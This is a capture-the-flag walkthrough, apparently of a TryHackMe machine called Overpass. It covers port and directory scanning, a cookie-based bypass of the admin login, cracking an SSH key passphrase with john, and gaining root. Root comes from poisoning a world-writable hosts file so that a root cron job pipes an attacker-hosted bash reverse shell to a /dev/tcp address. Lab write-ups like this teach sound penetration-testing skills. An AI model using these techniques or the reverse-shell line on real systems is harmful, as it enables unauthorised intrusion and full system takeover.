Nmap

First we scan for open ports

# nmap -p- -T4 -sV -sC 10.10.86.72 -oA nmap
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-16 20:04 GMT
Nmap scan report for 10.10.86.72
Host is up (0.021s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 37:96:85:98:d1:00:9c:14:63:d9:b0:34:75:b1:f9:57 (RSA)
|   256 53:75:fa:c0:65:da:dd:b1:e8:dd:40:b8:f6:82:39:24 (ECDSA)
|_  256 1c:4a:da:1f:36:54:6d:a6:c6:17:00:27:2e:67:75:9c (ED25519)
80/tcp open  http    Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Overpass
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.69 seconds

Website

Only SSH and a website, so lets go straight to the website. It’s a fairly simple site with a few pages

Lets run gobuster to see if there are any other bits to the site

# gobuster dir -u http://10.10.86.72 -w /usr/share/wordlists/dirb/common.txt     
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.86.72
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/aboutus              (Status: 301) [Size: 0] [--> aboutus/]
/admin                (Status: 301) [Size: 42] [--> /admin/]
/css                  (Status: 301) [Size: 0] [--> css/]
/downloads            (Status: 301) [Size: 0] [--> downloads/]
/img                  (Status: 301) [Size: 0] [--> img/]
/index.html           (Status: 301) [Size: 0] [--> ./]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================

There is a admin area. Visiting that we can find a login page

Trying a couple of the usual password combinations doesnt work, however looking at network tab in our browser tools we can see that the data is POSTed to login.js. Below is the section that controls our access

async function login() {
    const usernameBox = document.querySelector("#username");
    const passwordBox = document.querySelector("#password");
    const loginStatus = document.querySelector("#loginStatus");
    loginStatus.textContent = ""
    const creds = { username: usernameBox.value, password: passwordBox.value }
    const response = await postData("/api/login", creds)
    const statusOrCookie = await response.text()
    if (statusOrCookie === "Incorrect credentials") {
        loginStatus.textContent = "Incorrect Credentials"
        passwordBox.value=""
    } else {
        Cookies.set("SessionToken",statusOrCookie)
        window.location = "/admin"
    }

So in order to gain access all we need to do is add a cookie named SessionToken. With than in place we simply refresh the admin page and see that we are logged in. The page now shows a message revealing a username and ssh key

SSH

With the details we gathered we just need to crack the password for the ssh key and then we can login

# ssh2john jamesidrsa > jamesidrsa.hash

# john jamesidrsa.hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
j*****3          (jamesidrsa)     
1g 0:00:00:00 DONE (2025-03-16 23:38) 100.0g/s 1337Kp/s 1337Kc/s 1337KC/s pink25..honolulu
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

Now we can login as james using his key

# chmod 600 jamesidrsa

# ssh james@10.10.86.72 -i jamesidrsa 
The authenticity of host '10.10.86.72 (10.10.86.72)' can't be established.
ED25519 key fingerprint is SHA256:FhrAF0Rj+EFV1XGZSYeJWf5nYG0wSWkkEGSO5b+oSHk.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.86.72' (ED25519) to the list of known hosts.
Enter passphrase for key 'jamesidrsa': 
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-108-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun Mar 16 23:41:19 UTC 2025

  System load:  0.58               Processes:           96
  Usage of /:   22.3% of 18.57GB   Users logged in:     0
  Memory usage: 12%                IP address for eth0: 10.10.176.114
  Swap usage:   0%


47 packages can be updated.
0 updates are security updates.


Last login: Sat Jun 27 04:45:40 2020 from 192.168.170.1
james@overpass-prod:~$ ls
todo.txt  user.txt
james@overpass-prod:~$ cat user.txt
thm{6******************************7}

Privilege escalation

In the home directory there is also a todo.txt file

To Do:
> Update Overpass' Encryption, Muirland has been complaining that it's not strong enough
> Write down my password somewhere on a sticky note so that I don't forget it.
  Wait, we make a password manager. Why don't I just use that?
> Test Overpass for macOS, it builds fine but I'm not sure it actually works
> Ask Paradox how he got the automated build script working and where the builds go.
  They're not updating on the website

With the reference to automation we check cron and see the following entry

* * * * * root curl overpass.thm/downloads/src/buildscript.sh | bash

The host itself is called overpass-prod so we check the hosts file to ensure an entry is there for overpass.thm

james@overpass-prod:~$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 overpass-prod
127.0.0.1 overpass.thm
# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

Looking at the hosts file itself though we can see that it is writeable by any user

james@overpass-prod:~$ ls -l /etc/hosts
-rw-rw-rw- 1 root root 250 Jun 27  2020 /etc/hosts

This means we can replace the IP for overpass.thm with ours and simply host a reverse shell script. The cron job will pull it with curl and pipe it into bash. To start with we create our reverse shell and host it with a python web server

# cat downloads/src/buildscript.sh 
bash -i >& /dev/tcp/10.11.18.78/6666 0>&1

# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Now also start a listener and then we can change the host file on the overpass box. As soon as the process runs it pulls our script and we get a shell back

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.86.72 - - [16/Mar/2025 23:54:13] "GET /downloads/src/buildscript.sh HTTP/1.1" 200 -
# nc -lvnp 6666                            
listening on [any] 6666 ...
connect to [10.11.18.78] from (UNKNOWN) [10.10.86.72] 42082
bash: cannot set terminal process group (1601): Inappropriate ioctl for device
bash: no job control in this shell
root@overpass-prod:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@overpass-prod:~# cat /root/root.txt
cat /root/root.txt
thm{7******************************b}